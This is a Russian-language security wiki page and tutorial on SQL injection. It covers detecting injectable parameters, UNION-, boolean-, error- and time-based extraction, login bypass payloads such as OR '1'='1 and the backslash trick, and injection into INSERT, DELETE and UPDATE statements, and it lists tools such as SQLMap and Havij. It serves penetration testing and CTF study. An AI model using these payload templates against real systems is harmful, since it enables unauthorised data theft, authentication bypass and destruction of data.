Sqlinj

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск


Вводная

Кратко: возможность запускать произвольные SQL запросы в базу данных. Статья распределена на то, как найти уязвимость и как ее проэксплуатировать.

Как задетектить

SELECT

UNION-Based

Определение типа кавычки

1. Найти точку ввода данных

2. Найти параметр, который возвращает какое-либо из значений.

3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)

  1.  
  2. {параметр} AND 1=1
  3. {параметр}	AND	1=1
  4. {параметр}/**/AND/**/1=1
  5. {параметр} -- {\n} aNd 1=1
  6.  
  7. {параметр}' aNd '1'='1
  8. {параметр}'	aNd	'1'='1
  9. {параметр}'/**/aNd/**/'1'='1
  10. {параметр}' -- {\n} aNd '1'='1
  11.  
  12. {параметр}" aNd "1"="1
  13. {параметр}"	aNd	"1"="1
  14. {параметр}"/**/aNd/**/"1"="1
  15. {параметр}" -- {\n} aNd "1"="1

(Если сработал первый пример, то {кавычка}==={пустое место} :)


Знак комментария и количество скобок

После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):

  1. {параметр}{кавычка} -- 1
  2. {параметр}{кавычка}) -- 1
  3. {параметр}{кавычка})) -- 1
  4. {параметр}{кавычка})...) -- 1
  5.  
  6. {параметр}{кавычка} # 1
  7. {параметр}{кавычка}) # 1
  8. {параметр}{кавычка})) # 1
  9. {параметр}{кавычка})...) # 1

Подбор количества колонок

GROUP BY

Есть у MySQL,(добавить).

Возвращает данные, если колво колонок меньше или равно N (бинарным поиском).

  1. {параметр}{кавычка}{скобочки} GROUP BY {N} {комментарий}


ORDER BY

Есть у MySQL,(добавить).

Аналогично GROUP BY.

Bruteforce
  1. {параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}
  2. {параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}
  3. {параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}

Также в некоторых случаях перед комментарием надо будет добавить имя существующей таблицы:

  1. FROM dual

Итоговый запрос

Суть заключается в том, что вы можете сделать select запрос в произвольную доступную таблицу и получить результат, но уже в другом поле.

Стоит упомянуть, что тут ужлучше всего использовать такой параметр, который будет заведомо ложным и ничего не вернет.

  1. {параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}

Обратить внимание

В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД).

  1. LIMIT 1
  2. LIMIT 0,1
  3. WHERE ROWNUM=1


Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать.



Boolean-Based

Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос.

Вставка в конструкцию WHERE

Определение типа кавычки

Смотри соответствующую графу в UNION-Based.


Подтверждение

На всякий случай подтвердим, как будет выглядеть итоговый запрос

  1. {параметр}{кавычка} AND {кавычка}1{кавычка}={кавычка}1

А далее остается добавить ваше условие:

  1. {параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1

Теперь можно хоть делать приведение типов и по 1 букве перебирать значение результата запроса.

Подробнее про эксплуатацию уже зависит от СУБД (ссылки идут ниже на странице).

Вставка в конструкцию ORDER BY

Суть в том, что после ORDER BY мы не можем использовать техники, предоставленные ранее (тк параметры, идущие далее обозначают по какой колонке будет идти сортировка), поэтому придется извращаться следующим образом (пример для mysql):

  1. {параметр}{кавычка},(SELECT CASE WHEN (1=1) THEN 1 ELSE 1*( {запрос} )END)=1{комментарий}

В зависимости от результата запроса нам либо вернутся данные, либо не вернутся из-за ошибки в запросе.

P.S. В запросе можно попытаться также раскрутить time-based sql injection.

Особенности

Если букв, то лучше всего реализовать бинарный поиск, используя функции, аналогичные CONCAT, ASCII, CHR и тд.

Если целое число, то то же самое, но без функций.


Error-Based

Возможность использовать специальные функции, возвращающие в видимой нам ошибке stderr уже преобразованный аргумент. Начинается эксплуатация так же, как и UNION-Based или Boolean-Based (зависит от того, получится ли раскрутить слепую UNION).

В случае с Blind-UNION

Это когда смог подобрать количество колонок, но не видишь свои поля на экране.

Но! Cтоит заметить, что чаще всего такое происходит из-за того, что введенное значение до первой кавычки нашлось в базе данных, поэтому надо экспериментировать с добавлением AND 1=0 перед словом UNION.

Запрос с UNION выглядит следующим образом:

  1. {параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}

Остается в одну из колонок {колонки_через_запятую} подставить функцию, вызывающую ошибку обработки аргумента (то есть нашего запроса).


В случае с Boolean-Based

Общий запрос Boolean-Based выглядит, как:

  1. {параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1

Так вот вместо условия аналогично предыдущему пункту требуется подставить функцию, вызывающую ошибку обработки аргумента-запроса.


Time-Based

Поиск параметров

В случае с Time-Based требуется угадывать два параметра за раз:

    1. Подбор типа кавычки (см. Union-Based)
    2. Подбор функции задержки времени

Если первый пункт вы можете посмотреть на Union-Based, то со вторым уже требуется составить новый список:

  1. SLEEP(TIME)
  2. BENCHMARK(количество_повторений_запроса, запрос) //надо ставить большое количество повторений
  3. waitfor delay '00:00:10'
  4. dbms_lock.sleep(5)

Запрос во время подбора будет выглядеть как:

  1. {параметр}{кавычка} AND {задержка_времени} AND {кавычка}1{кавычка}={кавычка}1

После чего на место {задержка_времени} будет подставлен сложный запрос, где в зависимости от результата будет запускаться функция задержки времени.

Подробнее на определенных страницах СУБД (ниже ссылки).

Особенности эксплуатации

В некоторых случаях типа OracleDB и IBM DB2 требуется делать сложный запрос в качестве задержки времени, так что если не сработало, то проверьте ссылки эксплуатаций в отдельных СУБД (внизу страницы).


Auth

Отдельно вынес раскрутку SELECT sql injection при авторизации тк тут добавляется новый вектор для атаки. Эксплуатация где то будет пересекаться с Union/Blind-Based SQL injection, так что заранее ознакомьтесь с соответствующими пунктами.

Задача раскрутки заключается в авторизации под произвольным пользователем.

Уязвимо поле login

Для поля Login запрос будет выглядеть следующим образом:

Если отправляются сразу два поля Login и Password
  1. {логин}{кавычка}{скобки}{комментарий}

Тогда наш запрос не будет содержать второго условия и успешно вернет строку с нужным логином.

Если отправляется только поле Login

См. раскрутку Union-Based.

  1. {случайная_строка}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую}{комментарий}

После чего потребуетсят определить, как хранятся пароли в базе данных и под какими номерами идут колонки Login и Password, после чего вставить требуемый логин и пароль в соответствующие колонки {колонки_через_запятую}.

(Сложно! Сложно! Ничего не понятно!)

Уязвимо поле password

Для поля Password запрос будет выглядеть следующим образом:


  1. {случайная_строка}{кавычка} OR {кавычка}1{кавычка}={кавычка}1

Тогда у нас будет условие, которое всегда выполнится и вернет строку из базы данных.

P.S. У поля password должно отсутствовать хеширование, иначе ввод данных пропадет.

Добавление Backslash в первое поле

Чаще всего отсутствие экранирования встречается в тасках на Auth sql injection.

Для этого нужны пять условий:

    1. Отсутствие экранирования backslash в первом условии SQL запроса ( "\" -> "\\" )
    2. Возможность редактирования ввода второго запроса.
    3. Одинаковые типы кавычек у первого и второго условий.
    4. Отсутствие кодирования/хеширования у второго параметра.
    5. Отправляется один SELECT запрос с двумя условиями login='...'  AND password='...'

Большинство из этого придется угадывать.

Запрос для первого параметра (обычно это Login) примет вид:

  1.  {случайная_строка}\

Запрос для второго параметра (обычно это Password) примет вид:

  1.  {скобочки} OR 1=1 {функция_лимита_по_номеру_строки_в_таблице}{комментарий}

{функция_лимита_по_номеру_строки_в_таблице} - список функций есть в пункте UNION-Based (Обратить внимание).


INSERT

Задача Insert SQL Injection сводится к записи в таблицу базы данных результат произвольного запроса.

Опять же много угадываний, запрос будет выглядеть как:

  1. {параметр}{кавычка}{колонки_через_запятую}){комментарий}

А если вдруг у нас колонки после уязвимой не совпали по типам (в колонку с int не вписать строку), то запрос может выглядеть, как:

  1. {параметр}{кавычка}{колонки_через_запятую}),({колонки_через_запятую}){комментарий}

В данном случае мы делаем вставку сразу двух строк в таблицу, что позволяет нам манипулировать всеми полями.

После чего за место одной из подставляемых колонок можно будет сделать SELECT запрос (в том числе time-based).

Особенности

Все зависит от вектора атаки. В одних случаях надо добавить специального админа в таблицу, в других просто прочитать данные из базы. Универсального варианта эксплуатации нет.

DELETE

Опасный запрос, в случае чего может удалить лишние строки из таблицы.

Поэтому самым лучшим вариантом будет запрос time-based:

  1. {случайная_строка}{кавычка}{скобочки} AND ({time-запрос}){комментарий}

Но также возможен еще один вариант (нужно быть увереным в его надежности). Задача в том, чтобы создавать поле в таблице и по его наличию после каждого из запросов определять, завершился ли корректно запрос. То есть перевести на Boolean-Based SQL injection.

Запрос будет выглядеть, как:

  1. {фильтр_по_нашему_добавленному_значению}{кавычка} AND 1=({bool-запрос}) AND {кавычка}1{кавычка}={кавычка}1

UPDATE

Тоже опасный запрос тк может затереть важные данные.


WHERE

В случае, если уязвимо поле по которому фильтруются данные, то будут возможны два варианта эксплуатации.

Первый самый надежный - time-based:

  1. {случайная_строка}{кавычка} AND ({time-запрос}) AND {кавычка}1{кавычка}={кавычка}1

Второй по-аналогии с delete - boolean-based. Суть в том, что мы будем обновлять данные, доступные нам для чтения. А риск заключается в вероятности перезаписать чужие данные.

Наш запрос:

  1. {фильтр_нашей_строки}{кавычка} AND 1=({bool-запрос}) AND {кавычка}1{кавычка}={кавычка}1

SET

Начнем с того, что мы можем завершить корректно запрос c WHERE и перейти к предыдущему пункту:

  1. {случайная_строка}{кавычка} WHERE 1={ввод_предыдущего_пункта}


Или мы можем обновить определенные данные в таблице, а потом посмотреть возвращенную строку:

  1. {параметр}{кавычка},{название_колонки}=({запрос}) WHERE {условие_нашей_фильтрации}{комментарий}

Важно! Ошибки на условии поиска приведут к потере данных, лучше перепроверить все на time-based, прежде, чем раскручивать.


P.S. В некоторых СУБД нет автоматического приведения типов, поэтому придется угадывать тип колонок в таблице.

EXEC

Как проэксплуатировать

Общее

MySQL

MySQL СУБД

OracleDB

Oracle СУБД

PostgreSQL

PostgreSQL СУБД

SQLite

SQLite СУБД

IBM DB2

IBM DB2 СУБД

Ссылки

Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt


 Мануал на Рдот - один из лучших.

https://rdot.org/forum/showthread.php?t=124


TOOLS 

SQLMap (crossplatform)

Havij (win)

http://sqlninja.sourceforge.net/sqlninja-howto.html

https://code.google.com/p/bsqlbf-v2/

https://github.com/Neohapsis/bbqsql